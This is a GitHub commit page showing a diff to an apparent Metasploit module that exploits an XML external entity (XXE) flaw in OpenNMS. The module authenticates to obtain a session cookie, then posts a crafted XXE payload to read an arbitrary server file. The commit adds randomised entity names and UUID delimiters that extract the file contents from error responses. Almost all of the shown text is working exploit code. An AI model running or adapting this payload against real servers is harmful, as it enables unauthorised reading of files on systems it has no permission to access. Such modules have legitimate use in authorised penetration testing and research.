Skip to content

Commit

Permalink
Added error checks, randomness, and uuid delimeter
Browse files Browse the repository at this point in the history
  • Loading branch information
jstnkndy committed Mar 17, 2015
1 parent f3fc400 commit 0490af8
Showing 1 changed file with 24 additions and 8 deletions.
32 changes: 24 additions & 8 deletions modules/exploits/linux/http/opennms_xxe.rb
Original file line number Diff line number Diff line change
Expand Up @@ -50,6 +50,7 @@ def initialize(info = {})
def run

print_status("Logging in to grab a valid session cookie")

res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'j_spring_security_check'),
Expand All @@ -60,6 +61,12 @@ def run
},
})

if res.nil?
fail_with("No response from POST request")
elsif res.code != 302
fail_with("Non-302 response from POST request")
end

unless res.headers["Location"].include? "index.jsp"
fail_with(Failure::Unknown, 'Authentication failed')
end
Expand All @@ -68,7 +75,16 @@ def run

print_status("Got cookie, going for the goods")

xxe = '<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [ <!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file://'+datastore["FILEPATH"]+'" >]><foo>&xxe;</foo>'
rand_doctype= Rex::Text.rand_text_alpha(rand(1..10))
rand_entity1 = Rex::Text.rand_text_alpha(rand(1..10))
rand_entity2 = Rex::Text.rand_text_alpha(rand(1..10))
delimiter = SecureRandom.uuid

xxe = %Q^<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE #{rand_doctype} [
<!ELEMENT #{rand_entity1} ANY >
<!ENTITY #{rand_entity2} SYSTEM "file://#{datastore["FILEPATH"]}" >
]><#{rand_entity1}>#{delimiter}&#{rand_entity2};#{delimiter}</#{rand_entity1}>^

res = send_request_raw({
'method' => 'POST',
Expand All @@ -77,15 +93,15 @@ def run
'cookie' => cookie
})

# extract filepath data from response and remove preceding errors
# extract filepath data from response

if res.body =~ /<title.*\/?>(.+)<\/title\/?>/m
title = $1
if res and res.code == 400 and res.message =~ /#{delimiter}(.+)#{delimiter}/
result = $1
print_good("#{result}")
else
fail_with(Failure::Unknown, 'Error fetching file, try another')
end

result = title.match(/"(.*)/m)

print_good("#{result}")

end
end

0 comments on commit 0490af8

Please sign in to comment.